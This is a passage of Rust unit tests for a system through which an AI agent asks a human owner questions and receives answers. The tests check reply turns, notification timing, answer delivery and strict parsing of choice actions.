3576        assert!(q.settle_by_deputy("deputy-x", "yes", "  ", None).is_err());
3577        assert_eq!(q.status, QuestionStatus::Open);
3578
3579        q.settle_by_deputy("deputy-x", "yes", "setup done", None)
3580            .unwrap();
3581        assert_eq!(q.status, QuestionStatus::Answered);
3582        assert_eq!(q.resolution().as_deref(), Some("yes"));
3583        let last = q.thread.last().unwrap();
3584        assert_eq!(last.who, Who::Agent);
3585        assert!(
3586            last.body.contains("setup done"),
3587            "the quote stays on the record"
3588        );
3589    }
3590
3591    #[test]
3592    fn a_question_written_before_deputies_still_reads() {
3593        let mut q = Question::new(
3594            "task".to_owned(),
3595            "conduct".to_owned(),
3596            "conduct".to_owned(),
3597            "Done?".to_owned(),
3598            String::new(),
3599            Vec::new(),
3600        );
3601        q.schema = 4;
3602        let mut v = serde_json::to_value(&q).unwrap();
3603        v.as_object_mut().unwrap().remove("deputy");
3604        let back: Question = serde_json::from_value(v).unwrap();
3605        assert!(back.deputy.is_none());
3606    }
3607
3608    #[test]
3609    fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3610        let mut q = choice_question();
3611        q.say("does the cache need eviction?").unwrap();
3612        assert_eq!(q.thread.len(), 1);
3613        assert_eq!(q.thread[0].who, Who::Operator);
3614        assert_eq!(q.thread[0].body, "does the cache need eviction?");
3615        // Speaking is not deciding: the status and the answer are untouched,
3616        // which is the whole point of the round trip existing at all.
3617        assert_eq!(q.status, QuestionStatus::Open);
3618        assert!(q.answer.is_none());
3619        assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3620    }
3621
3622    #[test]
3623    fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3624        let mut answered = choice_question();
3625        answered
3626            .answer(Answer::Choice("SQLite".to_owned()))
3627            .unwrap();
3628        let a = answered.say("still there?").unwrap_err().to_string();
3629        assert!(a.contains("already answered"), "{a}");
3630        let b = answered
3631            .reply("still there?", vec![])
3632            .unwrap_err()
3633            .to_string();
3634        assert!(b.contains("already answered"), "{b}");
3635
3636        let mut abandoned = choice_question();
3637        abandoned.abandon("timed out");
3638        let c = abandoned.say("hello?").unwrap_err().to_string();
3639        assert!(c.contains("abandoned"), "{c}");
3640
3641        let mut open = choice_question();
3642        let d = open.say("   ").unwrap_err().to_string();
3643        assert!(d.contains("empty"), "{d}");
3644        let e = open.reply("  \n", vec![]).unwrap_err().to_string();
3645        assert!(e.contains("empty"), "{e}");
3646        assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3647    }
3648
3649    #[test]
3650    fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3651        let mut q = choice_question();
3652        q.say("SQLite or Redis, but what about disk space?")
3653            .unwrap();
3654        assert!(q.waiting_on_agent());
3655
3656        q.reply(
3657            "SQLite: it is one file, no server to run.",
3658            vec!["SQLite".to_owned()],
3659        )
3660        .unwrap();
3661
3662        assert_eq!(q.choices, ["SQLite"]);
3663        assert!(
3664            !q.waiting_on_agent(),
3665            "the agent spoke, so the owner is the one being waited on now"
3666        );
3667        assert_eq!(q.thread.len(), 2);
3668        assert_eq!(q.thread[1].who, Who::Agent);
3669
3670        // The new choice set is what a subsequent answer is checked against.
3671        assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3672        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3673        assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3674    }
3675
3676    #[test]
3677    fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3678        let mut fresh = choice_question();
3679        assert!(
3680            fresh.should_notify(Timestamp::now()),
3681            "nobody has been notified yet, so the first ask always pages"
3682        );
3683
3684        fresh.say("why not Postgres?").unwrap();
3685        let just_said = fresh.thread[0].at;
3686        assert!(
3687            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3688            "still on the screen a minute later; no need to page again"
3689        );
3690        assert!(
3691            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3692            "exactly the window: `>` means this side stays quiet"
3693        );
3694        assert!(
3695            fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3696            "past the window: they may have walked away"
3697        );
3698    }
3699
3700    #[test]
3701    fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3702        let (_dir, s) = store();
3703        let mut q = choice_question();
3704        s.put(&mut q).unwrap();
3705        q.say("why not Postgres?").unwrap();
3706        s.put(&mut q).unwrap();
3707        q.reply("no server to run", vec!["SQLite".to_owned()])
3708            .unwrap();
3709        s.put(&mut q).unwrap();
3710
3711        assert_eq!(
3712            s.count_open(),
3713            1,
3714            "one question that talked twice is still one open question"
3715        );
3716        assert_eq!(s.open_for(&q.run).len(), 1);
3717    }
3718
3719    #[tokio::test]
3720    async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3721        let (dir, s) = store();
3722        let mut q = choice_question();
3723        let id = q.id.clone();
3724        let writer = Questions::at(dir.path().join("questions"));
3725        let handle = tokio::spawn(async move {
3726            tokio::time::sleep(Duration::from_millis(30)).await;
3727            let mut fresh = writer.get(&id).expect("the question was filed first");
3728            fresh.say("why not Postgres?").unwrap();
3729            writer.put(&mut fresh).unwrap();
3730        });
3731
3732        let got = wait_for_owner(
3733            &mut q,
3734            &s,
3735            &quiet(),
3736            Duration::from_secs(5),
3737            Duration::from_millis(10),
3738        )
3739        .await
3740        .unwrap();
3741
3742        handle.await.unwrap();
3743        assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3744        assert_eq!(
3745            q.status,
3746            QuestionStatus::Open,
3747            "talking back is not a decision; the question stays open"
3748        );
3749        assert!(q.answer.is_none());
3750    }
3751
3752    #[test]
3753    fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3754        let mut q = choice_question();
3755        q.say("A").unwrap();
3756        q.delivered_turns = q.thread.len();
3757        q.say("B").unwrap();
3758        q.reply("about A", vec![]).unwrap();
3759        assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3760        q.delivered_turns = q.thread.len();
3761        assert_eq!(q.unread_from_owner(), None);
3762    }
3763
3764    #[test]
3765    fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3766        let (_d, s) = store();
3767        let mut q = choice_question();
3768        s.put(&mut q).unwrap();
3769        q.say("first").unwrap();
3770        q.say("second").unwrap();
3771        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3772        s.put(&mut q).unwrap();
3773        assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3774        let mut out = Vec::new();
3775        deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3776        let shown = String::from_utf8(out).unwrap();
3777        let (a, b, c) = (
3778            shown.find("first").unwrap(),
3779            shown.find("second").unwrap(),
3780            shown.find("SQLite").unwrap(),
3781        );
3782        assert!(a < b && b < c, "{shown}");
3783        assert_eq!(q.delivered_turns, q.thread.len());
3784        assert!(q.answer_delivered);
3785    }
3786
3787    #[test]
3788    fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3789        let mut q = choice_question();
3790        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3791        assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3792        let mut q = choice_question();
3793        q.say("old").unwrap();
3794        q.delivered_turns = q.thread.len();
3795        q.say("new").unwrap();
3796        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3797        let shown = answer_for_agent(&q, "SQLite");
3798        assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3799    }
3800
3801    #[test]
3802    fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3803        let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3804        let ok = parse_actions(
3805            &[
3806                "resume で続行する=resume".to_owned(),
3807                "wait=done".to_owned(),
3808            ],
3809            &choices,
3810            "run-1",
3811        )
3812        .unwrap();
3813        assert_eq!(
3814            ok["resume で続行する"],
3815            ChoiceAction::Resume {
3816                run: "run-1".into()
3817            }
3818        );
3819        assert_eq!(ok["wait"], ChoiceAction::Done);
3820
3821        let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
3822        assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
3823        assert_eq!(
3824            ChoiceAction::parse("x=requeue", "").unwrap().1,
3825            ChoiceAction::Requeue
3826        );
3827
3828        assert_eq!(
3829            ChoiceAction::parse("x=hold", "").unwrap().1,
3830            ChoiceAction::Hold
3831        );
3832
3833        for bad in [
3834            "no-equals",
3835            "=done",
3836            "x=resume",
3837            "x=resume:",
3838            "x=explode",
3839            "x=done:1",
3840        ] {
3841            assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
3842        }
3843        assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
3844        assert!(
3845            parse_actions(
3846                &["wait=done".to_owned(), "wait=requeue".to_owned()],
3847                &choices,
3848                ""
3849            )
3850            .is_err()
3851        );
3852    }
3853
3854    #[test]
3855    fn only_a_chosen_label_with_an_action_is_actionable() {
3856        let mut q = choice_question();
3857        q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
3858        q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
3859        assert!(q.chosen_action().is_none(), "unanswered");
3860        q.answer(Answer::Choice("resume".to_owned())).unwrap();
3861        assert!(
3862            q.chosen_action().is_none(),
3863            "a label that merely reads like an action does nothing"
3864        );
3865
3866        let mut q2 = choice_question();
3867        q2.choices = vec!["SQLite".to_owned()];
3868        q2.actions
3869            .insert("SQLite".to_owned(), ChoiceAction::Requeue);
3870        q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3871        assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
3872    }
3873
3874    #[test]
3875    fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
3876        let mut q = choice_question();
3877        q.choices = vec!["A".to_owned(), "B".to_owned()];
3878        q.actions.insert("A".to_owned(), ChoiceAction::Done);
3879        q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
3880        q.reply("narrowing", vec!["B".to_owned()]).unwrap();
3881        assert_eq!(q.actions.len(), 1);
3882        assert!(q.actions.contains_key("B"));
3883
3884        let mut v = serde_json::to_value(&q).unwrap();
3885        v.as_object_mut().unwrap().remove("actions");
3886        let old: Question = serde_json::from_value(v).unwrap();
3887        assert!(old.actions.is_empty());
3888    }
3889}